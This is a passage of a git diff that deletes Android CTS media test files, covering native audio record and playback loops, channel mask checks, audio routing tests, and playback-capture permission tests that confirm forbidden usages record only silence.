-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CHANNELS : TEST_CHANNELS_ARRAY) {
-                    // OpenSL ES BUG: we run out of AudioTrack memory for this config on MNC
-                    // Log.d(TEST_NAME, "open channels:" + TEST_CHANNELS + " sr:" + TEST_SR);
-                    if (TEST_IS_LOW_RAM_DEVICE && (TEST_CHANNELS > 4 || TEST_SR > 96000)) {
-                        continue;
-                    }
-                    if (TEST_FLOAT == true && TEST_CHANNELS >= 6 && TEST_SR >= 192000) {
-                        continue;
-                    }
-                    AudioTrackNative track = new AudioTrackNative();
-                    assertTrue(TEST_NAME,
-                            track.open(TEST_CHANNELS, TEST_SR, TEST_FLOAT, 1 /* numBuffers */));
-                    assertTrue(TEST_NAME, track.start());
-
-                    final int sourceSamples =
-                            (int)((long)TEST_SR * TEST_TIME_IN_MSEC * TEST_CHANNELS / 1000);
-                    final double testFrequency = frequency / TEST_CHANNELS;
-                    if (TEST_FLOAT) {
-                        float data[] = AudioHelper.createSoundDataInFloatArray(
-                                sourceSamples, TEST_SR,
-                                testFrequency, TEST_SWEEP);
-                        assertEquals(sourceSamples,
-                                track.write(data, 0 /* offset */, sourceSamples,
-                                        AudioTrackNative.WRITE_FLAG_BLOCKING));
-                    } else {
-                        short data[] = AudioHelper.createSoundDataInShortArray(
-                                sourceSamples, TEST_SR,
-                                testFrequency, TEST_SWEEP);
-                        assertEquals(sourceSamples,
-                                track.write(data, 0 /* offset */, sourceSamples,
-                                        AudioTrackNative.WRITE_FLAG_BLOCKING));
-                    }
-
-                    while (true) {
-                        // OpenSL ES BUG: getPositionInMsec returns 0 after a data underrun.
-
-                        long position = track.getPositionInMsec();
-                        //Log.d(TEST_NAME, "position: " + position[0]);
-                        if (position >= (long)(TEST_TIME_IN_MSEC - TOLERANCE_MSEC)) {
-                            break;
-                        }
-
-                        // It is safer to use a buffer count of 0 to determine termination
-                        if (track.getBuffersPending() == 0) {
-                            break;
-                        }
-                        Thread.sleep(5 /* millis */);
-                    }
-                    track.stop();
-                    Thread.sleep(TEST_END_SLEEP_MSEC);
-                    track.close();
-                    Thread.sleep(TEST_END_SLEEP_MSEC); // put a gap in the tone sequence
-                    frequency += 50; // increment test tone frequency
-                }
-            }
-        }
-    }
-
-    private boolean isLowRamDevice() {
-        return ((ActivityManager)getContext().getSystemService(Context.ACTIVITY_SERVICE)
-                ).isLowRamDevice();
-    }
-
-    public void testRecordStreamData() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        final String TEST_NAME = "testRecordStreamData";
-        final boolean TEST_FLOAT_ARRAY[] = {
-                false,
-                true,
-        };
-        final int TEST_SR_ARRAY[] = {
-                //4000, // below limit of OpenSL ES
-                12345, // irregular sampling rate
-                44100,
-                48000,
-                96000,
-                192000,
-        };
-        final int TEST_CHANNELS_ARRAY[] = {
-                1,
-                2,
-                3,
-                4,
-                5,
-                6,
-                7,
-                8,
-        };
-        final int SEGMENT_DURATION_IN_MSEC = 20;
-        final int NUMBER_SEGMENTS = 10;
-
-        for (boolean TEST_FLOAT : TEST_FLOAT_ARRAY) {
-            for (int TEST_SR : TEST_SR_ARRAY) {
-                for (int TEST_CHANNELS : TEST_CHANNELS_ARRAY) {
-                    // OpenSL ES BUG: we run out of AudioTrack memory for this config on MNC
-                    if (TEST_FLOAT == true && TEST_CHANNELS >= 8 && TEST_SR >= 192000) {
-                        continue;
-                    }
-                    AudioRecordNative record = new AudioRecordNative();
-                    doRecordTest(record, TEST_CHANNELS, TEST_SR, TEST_FLOAT,
-                            SEGMENT_DURATION_IN_MSEC, NUMBER_SEGMENTS);
-                }
-            }
-        }
-    }
-
-    public void testRecordAudit() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioRecordNative record = new AudioHelper.AudioRecordAuditNative();
-        doRecordTest(record, 4 /* numChannels */, 44100 /* sampleRate */, false /* useFloat */,
-                1000 /* segmentDurationMs */, 10 /* numSegments */);
-    }
-
-    public void testOutputChannelMasks() {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioTrackNative track = new AudioTrackNative();
-
-        int maxOutputChannels = 2;
-        int validIndexMask = (1 << maxOutputChannels) - 1;
-
-        for (int mask = 0; mask <= MAX_INDEX_MASK; ++mask) {
-            int channelCount = Long.bitCount(mask);
-            boolean expectSuccess = (channelCount > 0)
-                && ((mask & validIndexMask) != 0);
-
-            // TODO: uncomment this line when b/27484181 is fixed.
-            // expectSuccess &&= ((mask & ~validIndexMask) == 0);
-
-            boolean ok = track.open(channelCount,
-                mask | CHANNEL_INDEX_MASK_MAGIC, 48000, false, 2);
-            track.close();
-            assertEquals(expectSuccess, ok);
-        }
-    }
-
-    public void testInputChannelMasks() {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioManager audioManager =
-                (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-        AudioDeviceInfo[] inputDevices = audioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
-
-        if (ApiLevelUtil.isAfter(Build.VERSION_CODES.P)) {
-            testInputChannelMasksPostQ(inputDevices);
-        } else {
-            testInputChannelMasksPreQ(inputDevices);
-        }
-    }
-
-    private void testInputChannelMasksPreQ(AudioDeviceInfo[] inputDevices) {
-        AudioRecordNative recorder = new AudioRecordNative();
-
-        int maxInputChannels = 0;
-        for (AudioDeviceInfo deviceInfo : inputDevices) {
-            for (int channels : deviceInfo.getChannelCounts()) {
-                maxInputChannels = Math.max(channels, maxInputChannels);
-            }
-        }
-
-        int validIndexMask = (1 << maxInputChannels) - 1;
-
-        for (int mask = 0; mask <= MAX_INDEX_MASK; ++mask) {
-            int channelCount = Long.bitCount(mask);
-            boolean expectSuccess = (channelCount > 0)
-                && ((mask & validIndexMask) != 0);
-
-            // TODO: uncomment this line when b/27484181 is fixed.
-            // expectSuccess &&= ((mask & ~validIndexMask) == 0);
-
-            boolean ok = recorder.open(channelCount,
-                mask | CHANNEL_INDEX_MASK_MAGIC, 48000, false, 2);
-            recorder.close();
-            assertEquals(expectSuccess, ok);
-        }
-    }
-
-    private void testInputChannelMasksPostQ(AudioDeviceInfo[] inputDevices) {
-        AudioRecordNative recorder = new AudioRecordNative();
-
-        // first determine device selected for capture with channel index mask.
-        boolean res = recorder.open(1, 1 | CHANNEL_INDEX_MASK_MAGIC, 16000, false, 2);
-        // capture one channel at 16kHz is mandated by CDD
-        assertTrue(res);
-        AudioRouting router = recorder.getRoutingInterface();
-        AudioDeviceInfo device = router.getRoutedDevice();
-        assertNotNull(device);
-        recorder.close();
-
-        int indexChannelMasks[] = device.getChannelIndexMasks();
-        int posChannelMasks[] = device.getChannelMasks();
-        int bestEquivIndexMask = 0;
-
-        // Capture must succeed if the device supports index channel masks or less than
-        // two positional channels
-        boolean defaultExpectSuccess = false;
-        if (indexChannelMasks.length != 0) {
-            defaultExpectSuccess = true;
-        } else {
-            for (int mask : posChannelMasks) {
-                int channelCount = AudioFormat.channelCountFromInChannelMask(mask);
-                if (channelCount <= 2) {
-                     defaultExpectSuccess = true;
-                     break;
-                }
-                int equivIndexMask = (1 << channelCount) - 1;
-                if (equivIndexMask > bestEquivIndexMask) {
-                    bestEquivIndexMask = equivIndexMask;
-                }
-            }
-        }
-
-        for (int mask = 1; mask <= MAX_INDEX_MASK; ++mask) {
-            // Capture must succeed if the number of positional channels is enough to include
-            // one of the requested index channels
-            boolean expectSuccess = defaultExpectSuccess || ((mask & bestEquivIndexMask) != 0);
-
-            int channelCount = Long.bitCount(mask);
-            boolean ok = recorder.open(channelCount,
-                mask | CHANNEL_INDEX_MASK_MAGIC, 48000, false, 2);
-            recorder.close();
-
-            assertEquals(expectSuccess, ok);
-        }
-    }
-
-    static {
-        System.loadLibrary("audio_jni");
-    }
-
-    private static final String TAG = "AudioNativeTest";
-
-    private void doRecordTest(AudioRecordNative record,
-            int numChannels, int sampleRate, boolean useFloat,
-            int segmentDurationMs, int numSegments) {
-        final String TEST_NAME = "doRecordTest";
-        try {
-            // Log.d(TEST_NAME, "open numChannels:" + numChannels + " sampleRate:" + sampleRate);
-            assertTrue(TEST_NAME, record.open(numChannels, sampleRate, useFloat,
-                    numSegments /* numBuffers */));
-            assertTrue(TEST_NAME, record.start());
-
-            final int sourceSamples =
-                    (int)((long)sampleRate * segmentDurationMs * numChannels / 1000);
-
-            if (useFloat) {
-                float data[] = new float[sourceSamples];
-                for (int i = 0; i < numSegments; ++i) {
-                    assertEquals(sourceSamples,
-                            record.read(data, 0 /* offset */, sourceSamples,
-                                    AudioRecordNative.READ_FLAG_BLOCKING));
-                }
-            } else {
-                short data[] = new short[sourceSamples];
-                for (int i = 0; i < numSegments; ++i) {
-                    assertEquals(sourceSamples,
-                            record.read(data, 0 /* offset */, sourceSamples,
-                                    AudioRecordNative.READ_FLAG_BLOCKING));
-                }
-            }
-            assertTrue(TEST_NAME, record.stop());
-        } finally {
-            record.close();
-        }
-    }
-
-    private boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private boolean hasAudioOutput() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUDIO_OUTPUT);
-    }
-
-    private static native void nativeAppendixBBufferQueue();
-    private static native void nativeAppendixBRecording();
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java b/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java
deleted file mode 100644
index a05698d..0000000
--- a/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.IntDef;
-import android.annotation.NonNull;
-import android.content.Context;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.AudioRouting;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.ndkaudio.AudioPlayer;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-public class AudioPlayRoutingNative extends AndroidTestCase {
-    private static final String TAG = "AudioPlayRoutingNative";
-
-    private AudioManager mAudioManager;
-
-    static {
-        System.loadLibrary("ndkaudioLib");
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // get the AudioManager
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        assertNotNull(mAudioManager);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    //
-    // Tests
-    //
-
-    // Test a basic Aquire/Release cycle on the default player.
-    public void testAquireDefaultProxy() throws Exception {
-        AudioPlayer player = new AudioPlayer();
-        player.ClearLastSLResult();
-        player.RealizePlayer();
-        player.RealizeRoutingProxy();
-
-        AudioRouting routingObj = player.GetRoutingInterface();
-        assertNotNull(routingObj);
-
-        // Not allowed to acquire twice
-        routingObj = player.GetRoutingInterface();
-        assertNull(routingObj);
-        assertTrue(player.GetLastSLResult() != 0);
-
-        player.ReleaseRoutingInterface(routingObj);
-        assertTrue(player.GetLastSLResult() == 0);
-    }
-
-    // Test an Aquire before the OpenSL ES player is Realized.
-    public void testAquirePreRealizeDefaultProxy() throws Exception {
-        AudioPlayer player = new AudioPlayer();
-        player.ClearLastSLResult();
-        player.RealizeRoutingProxy();
-        assertTrue(player.GetLastSLResult() == 0);
-
-        AudioRouting routingObj = player.GetRoutingInterface();
-        assertTrue(player.GetLastSLResult() == 0);
-        assertNotNull(routingObj);
-
-        player.RealizePlayer();
-        assertTrue(player.GetLastSLResult() == 0);
-
-        player.ReleaseRoutingInterface(routingObj);
-        assertTrue(player.GetLastSLResult() == 0);
-    }
-
-    // Test actually setting the routing through the enumerated devices.
-    public void testRouting() {
-        AudioPlayer player = new AudioPlayer();
-        player.ClearLastSLResult();
-        player.RealizePlayer();
-        player.RealizeRoutingProxy();
-
-        AudioRouting routingObj = player.GetRoutingInterface();
-        assertNotNull(routingObj);
-
-        AudioDeviceInfo[] deviceList;
-        deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        assertTrue(deviceList != null);
-        for (AudioDeviceInfo devInfo : deviceList) {
-            assertTrue(routingObj.setPreferredDevice(devInfo));
-        }
-
-        player.ReleaseRoutingInterface(routingObj);
-        assertTrue(player.GetLastSLResult() == 0);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
deleted file mode 100644
index 472763c..0000000
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ /dev/null
@@ -1,517 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_ALL;
-import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
-import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM;
-
-import static org.hamcrest.Matchers.greaterThan;
-import static org.hamcrest.Matchers.lessThan;
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.testng.Assert.assertThrows;
-
-import android.media.AudioAttributes;
-import android.media.AudioAttributes.AttributeUsage;
-import android.media.AudioAttributes.CapturePolicy;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioPlaybackCaptureConfiguration;
-import android.media.AudioRecord;
-import android.media.MediaPlayer;
-import android.media.projection.MediaProjection;
-import android.os.Handler;
-import android.os.Looper;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.rule.ActivityTestRule;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-import java.nio.ByteBuffer;
-import java.nio.ShortBuffer;
-import java.util.Stack;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test audio playback capture through MediaProjection.
- *
- * The tests do the following:
- *   - retrieve a MediaProjection through MediaProjectionActivity
- *   - play some audio
- *   - use that MediaProjection to record the audio playing
- *   - check that some audio was recorded.
- *
- * Currently the test that some audio was recorded just check that at least one sample is non 0.
- * A better check needs to be used, eg: compare the power spectrum.
- */
-@NonMediaMainlineTest
-public class AudioPlaybackCaptureTest {
-    private static final String TAG = "AudioPlaybackCaptureTest";
-    private static final int SAMPLE_RATE = 44100;
-    private static final int BUFFER_SIZE = SAMPLE_RATE * 2; // 1s at 44.1k/s 16bit mono
-
-    private AudioManager mAudioManager;
-    private boolean mPlaybackBeforeCapture;
-    private int mUid; //< UID of this test
-    private MediaProjectionActivity mActivity;
-    private MediaProjection mMediaProjection;
-    @Rule
-    public ActivityTestRule<MediaProjectionActivity> mActivityRule =
-                new ActivityTestRule<>(MediaProjectionActivity.class);
-
-    private static class APCTestConfig {
-        public @AttributeUsage int[] matchingUsages;
-        public @AttributeUsage int[] excludeUsages;
-        public int[] matchingUids;
-        public int[] excludeUids;
-        private AudioPlaybackCaptureConfiguration build(MediaProjection projection)
-                throws Exception {
-            AudioPlaybackCaptureConfiguration.Builder apccBuilder =
-                    new AudioPlaybackCaptureConfiguration.Builder(projection);
-
-            if (matchingUsages != null) {
-                for (int usage : matchingUsages) {
-                    apccBuilder.addMatchingUsage(usage);
-                }
-            }
-            if (excludeUsages != null) {
-                for (int usage : excludeUsages) {
-                    apccBuilder.excludeUsage(usage);
-                }
-            }
-            if (matchingUids != null) {
-                for (int uid : matchingUids) {
-                    apccBuilder.addMatchingUid(uid);
-                }
-            }
-            if (excludeUids != null) {
-                for (int uid : excludeUids) {
-                    apccBuilder.excludeUid(uid);
-                }
-            }
-            AudioPlaybackCaptureConfiguration config = apccBuilder.build();
-            assertCorreclyBuilt(config);
-            return config;
-        }
-
-        private void assertCorreclyBuilt(AudioPlaybackCaptureConfiguration config) {
-            assertEqualNullIsEmpty("matchingUsages", matchingUsages, config.getMatchingUsages());
-            assertEqualNullIsEmpty("excludeUsages", excludeUsages, config.getExcludeUsages());
-            assertEqualNullIsEmpty("matchingUids", matchingUids, config.getMatchingUids());
-            assertEqualNullIsEmpty("excludeUids", excludeUids, config.getExcludeUids());
-        }
-
-        private void assertEqualNullIsEmpty(String msg, int[] expected, int[] found) {
-            if (expected == null) {
-                assertEquals(msg, 0, found.length);
-            } else {
-                assertArrayEquals(msg, expected, found);
-            }
-        }
-    };
-    private APCTestConfig mAPCTestConfig;
-
-    @Before
-    public void setup() throws Exception {
-        mPlaybackBeforeCapture = false;
-        mAPCTestConfig = new APCTestConfig();
-        mActivity = mActivityRule.getActivity();
-        mAudioManager = mActivity.getSystemService(AudioManager.class);
-        mUid = mActivity.getApplicationInfo().uid;
-        mMediaProjection = mActivity.waitForMediaProjection();
-    }
-
-    private AudioRecord createDefaultPlaybackCaptureRecord() throws Exception {
-        return createPlaybackCaptureRecord(
-            new AudioFormat.Builder()
-                 .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                 .setSampleRate(SAMPLE_RATE)
-                 .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                 .build());
-    }
-
-    private AudioRecord createPlaybackCaptureRecord(AudioFormat audioFormat) throws Exception {
-        AudioPlaybackCaptureConfiguration apcConfig = mAPCTestConfig.build(mMediaProjection);
-
-        AudioRecord audioRecord = new AudioRecord.Builder()
-                .setAudioPlaybackCaptureConfig(apcConfig)
-                .setAudioFormat(audioFormat)
-                .build();
-        assertEquals("AudioRecord failed to initialized", AudioRecord.STATE_INITIALIZED,
-                     audioRecord.getState());
-        return audioRecord;
-    }
-
-    private MediaPlayer createMediaPlayer(@CapturePolicy int capturePolicy, int resid,
-                                          @AttributeUsage int usage) {
-        MediaPlayer mediaPlayer = MediaPlayer.create(
-                mActivity,
-                resid,
-                new AudioAttributes.Builder()
-                    .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
-                    .setUsage(usage)
-                    .setAllowedCapturePolicy(capturePolicy)
-                    .build(),
-                mAudioManager.generateAudioSessionId());
-        mediaPlayer.setLooping(true);
-        return mediaPlayer;
-    }
-
-    private static ByteBuffer readToBuffer(AudioRecord audioRecord, int bufferSize)
-            throws Exception {
-        assertEquals("AudioRecord is not recording", AudioRecord.RECORDSTATE_RECORDING,
-                     audioRecord.getRecordingState());
-        ByteBuffer buffer = ByteBuffer.allocateDirect(bufferSize);
-        int retry = 100;
-        boolean silence = true;
-        while (silence && buffer.hasRemaining()) {
-            assertNotSame(buffer.remaining() + "/" + bufferSize + "remaining", 0, retry--);
-            int written = audioRecord.read(buffer, buffer.remaining());
-            assertThat("audioRecord did not read frames", written, greaterThan(0));
-            for (int i = 0; i < written; i++) {
-                silence &= buffer.get() == 0;
-            }
-        }
-        buffer.rewind();
-        return buffer;
-    }
-
-    private static boolean onlySilence(ShortBuffer buffer) {
-        while (buffer.hasRemaining()) {
-            if (buffer.get() != 0) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    public void testPlaybackCapture(@CapturePolicy int capturePolicy,
-                                    @AttributeUsage int playbackUsage,
-                                    boolean dataPresent) throws Exception {
-        MediaPlayer mediaPlayer = createMediaPlayer(capturePolicy, R.raw.testwav_16bit_44100hz,
-                                                    playbackUsage);
-        try {
-            if (mPlaybackBeforeCapture) {
-                mediaPlayer.start();
-                // Make sure the player is actually playing, thus forcing a rerouting
-                Thread.sleep(100);
-            }
-
-            AudioRecord audioRecord = createDefaultPlaybackCaptureRecord();
-
-            try {
-                audioRecord.startRecording();
-                mediaPlayer.start();
-                ByteBuffer rawBuffer = readToBuffer(audioRecord, BUFFER_SIZE);
-                audioRecord.stop(); // Force an reroute
-                mediaPlayer.stop();
-                assertEquals(AudioRecord.RECORDSTATE_STOPPED, audioRecord.getRecordingState());
-                if (dataPresent) {
-                    assertFalse("Expected data, but only silence was recorded",
-                                onlySilence(rawBuffer.asShortBuffer()));
-                } else {
-                    assertTrue("Expected silence, but some data was recorded",
-                               onlySilence(rawBuffer.asShortBuffer()));
-                }
-            } finally {
-                audioRecord.release();
-            }
-        } finally {
-            mediaPlayer.release();
-        }
-    }
-
-    public void testPlaybackCapture(boolean allowCapture,
-                                    @AttributeUsage int playbackUsage,
-                                    boolean dataPresent) throws Exception {
-        if (allowCapture) {
-            testPlaybackCapture(ALLOW_CAPTURE_BY_ALL, playbackUsage, dataPresent);
-        } else {
-            testPlaybackCapture(ALLOW_CAPTURE_BY_SYSTEM, playbackUsage, dataPresent);
-            testPlaybackCapture(ALLOW_CAPTURE_BY_NONE, playbackUsage, dataPresent);
-
-            try {
-                mAudioManager.setAllowedCapturePolicy(ALLOW_CAPTURE_BY_SYSTEM);
-                testPlaybackCapture(ALLOW_CAPTURE_BY_ALL, playbackUsage, dataPresent);
-                mAudioManager.setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE);
-                testPlaybackCapture(ALLOW_CAPTURE_BY_ALL, playbackUsage, dataPresent);
-            } finally {
-                // Do not impact followup test is case of failure
-                mAudioManager.setAllowedCapturePolicy(ALLOW_CAPTURE_BY_ALL);
-            }
-        }
-    }
-
-    private static final boolean OPT_IN = true;
-    private static final boolean OPT_OUT = false;
-
-    private static final boolean EXPECT_DATA = true;
-    private static final boolean EXPECT_SILENCE = false;
-
-    private static final @AttributeUsage int[] ALLOWED_USAGES = new int[]{
-            AudioAttributes.USAGE_UNKNOWN,
-            AudioAttributes.USAGE_MEDIA,
-            AudioAttributes.USAGE_GAME
-    };
-    private static final @AttributeUsage int[] FORBIDEN_USAGES = new int[]{
-            AudioAttributes.USAGE_ALARM,
-            AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY,
-            AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE,
-            AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
-            AudioAttributes.USAGE_ASSISTANT,
-            AudioAttributes.USAGE_NOTIFICATION,
-    };
-
-    @Presubmit
-    @Test
-    public void testPlaybackCaptureFast() throws Exception {
-        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_MEDIA, EXPECT_DATA);
-        testPlaybackCapture(OPT_OUT, AudioAttributes.USAGE_MEDIA, EXPECT_SILENCE);
-    }
-
-    @Test
-    public void testPlaybackCaptureRerouting() throws Exception {
-        mPlaybackBeforeCapture = true;
-        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_MEDIA, EXPECT_DATA);
-    }
-
-    @Test(expected = IllegalArgumentException.class)
-    public void testMatchNothing() throws Exception {
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
-    }
-
-    @Test(expected = IllegalStateException.class)
-    public void testCombineUsages() throws Exception {
-        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_UNKNOWN };
-        mAPCTestConfig.excludeUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
-    }
-
-    @Test(expected = IllegalStateException.class)
-    public void testCombineUid() throws Exception {
-        mAPCTestConfig.matchingUids = new int[]{ mUid };
-        mAPCTestConfig.excludeUids = new int[]{ 0 };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
-    }
-
-    @Test
-    public void testCaptureMatchingAllowedUsage() throws Exception {
-        for (int usage : ALLOWED_USAGES) {
-            mAPCTestConfig.matchingUsages = new int[]{ usage };
-            testPlaybackCapture(OPT_IN, usage, EXPECT_DATA);
-            testPlaybackCapture(OPT_OUT, usage, EXPECT_SILENCE);
-
-            mAPCTestConfig.matchingUsages = ALLOWED_USAGES;
-            testPlaybackCapture(OPT_IN, usage, EXPECT_DATA);
-            testPlaybackCapture(OPT_OUT, usage, EXPECT_SILENCE);
-        }
-    }
-
-    @Test
-    public void testCaptureMatchingForbidenUsage() throws Exception {
-        for (int usage : FORBIDEN_USAGES) {
-            mAPCTestConfig.matchingUsages = new int[]{ usage };
-            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
-
-            mAPCTestConfig.matchingUsages = ALLOWED_USAGES;
-            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
-        }
-    }
-
-    @Test
-    public void testCaptureExcludeUsage() throws Exception {
-        for (int usage : ALLOWED_USAGES) {
-            mAPCTestConfig.excludeUsages = new int[]{ usage };
-            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
-
-            mAPCTestConfig.excludeUsages = ALLOWED_USAGES;
-            testPlaybackCapture(OPT_IN, usage, EXPECT_SILENCE);
-
-            mAPCTestConfig.excludeUsages = FORBIDEN_USAGES;
-            testPlaybackCapture(OPT_IN, usage, EXPECT_DATA);
-        }
-    }
-
-    @Test
-    public void testCaptureMatchingUid() throws Exception {
-        mAPCTestConfig.matchingUids = new int[]{ mUid };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_DATA);
-        testPlaybackCapture(OPT_OUT, AudioAttributes.USAGE_GAME, EXPECT_SILENCE);
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_VOICE_COMMUNICATION, EXPECT_SILENCE);
-
-        mAPCTestConfig.matchingUids = new int[]{ 0 };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_SILENCE);
-    }
-
-    @Test
-    public void testCaptureExcludeUid() throws Exception {
-        mAPCTestConfig.excludeUids = new int[]{ 0 };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_DATA);
-        testPlaybackCapture(OPT_OUT, AudioAttributes.USAGE_UNKNOWN, EXPECT_SILENCE);
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_VOICE_COMMUNICATION, EXPECT_SILENCE);
-
-        mAPCTestConfig.excludeUids = new int[]{ mUid };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_GAME, EXPECT_SILENCE);
-    }
-
-    @Test(expected = UnsupportedOperationException.class)
-    public void testStoppedMediaProjection() throws Exception {
-        mMediaProjection.stop();
-        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
-        testPlaybackCapture(OPT_IN, AudioAttributes.USAGE_MEDIA, EXPECT_DATA);
-    }
-
-    @Test
-    public void testStopMediaProjectionDuringCapture() throws Exception {
-        final int STOP_TIMEOUT_MS = 1000;
-
-        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
-
-        MediaPlayer mediaPlayer = createMediaPlayer(ALLOW_CAPTURE_BY_ALL,
-                                                    R.raw.testwav_16bit_44100hz,
-                                                    AudioAttributes.USAGE_MEDIA);
-        mediaPlayer.start();
-
-        AudioRecord audioRecord = createDefaultPlaybackCaptureRecord();
-        audioRecord.startRecording();
-        ByteBuffer rawBuffer = readToBuffer(audioRecord, BUFFER_SIZE);
-        assertFalse("Expected data, but only silence was recorded",
-                    onlySilence(rawBuffer.asShortBuffer()));
-
-        final int nativeBufferSize = audioRecord.getBufferSizeInFrames()
-                                     * audioRecord.getChannelCount();
-
-        // Stop the media projection
-        CountDownLatch stopCDL = new CountDownLatch(1);
-        mMediaProjection.registerCallback(new MediaProjection.Callback() {
-                public void onStop() {
-                    stopCDL.countDown();
-                }
-            }, new Handler(Looper.getMainLooper()));
-        mMediaProjection.stop();
-        assertTrue("Could not stop the MediaProjection in " + STOP_TIMEOUT_MS + "ms",
-                   stopCDL.await(STOP_TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-        // With the remote submix disabled, no new samples should feed the track buffer.
-        // As a result, read() should fail after at most the total buffer size read.
-        // Even if the projection is stopped, the policy unregisteration is async,
-        // so double that to be on the conservative side.
-        final int MAX_READ_SIZE = 8 * nativeBufferSize;
-        int readSize = 0;
-        ByteBuffer buffer = ByteBuffer.allocateDirect(BUFFER_SIZE);
-        int status;
-        while ((status = audioRecord.read(buffer, BUFFER_SIZE)) > 0) {
-            readSize += status;
-            assertThat("audioRecord did not stop, current state is "
-                       + audioRecord.getRecordingState(), readSize, lessThan(MAX_READ_SIZE));
-        }
-        audioRecord.stop();
-        audioRecord.startRecording();
-
-        // Check that the audioRecord can no longer receive audio
-        assertThat("Can still record after policy unregistration",
-                   audioRecord.read(buffer, BUFFER_SIZE), lessThan(0));
-
-        audioRecord.release();
-        mediaPlayer.stop();
-        mediaPlayer.release();
-    }
-
-
-    @Test
-    public void testPlaybackCaptureDoS() throws Exception {
-        final int UPPER_BOUND_TO_CONCURENT_PLAYBACK_CAPTURE = 1000;
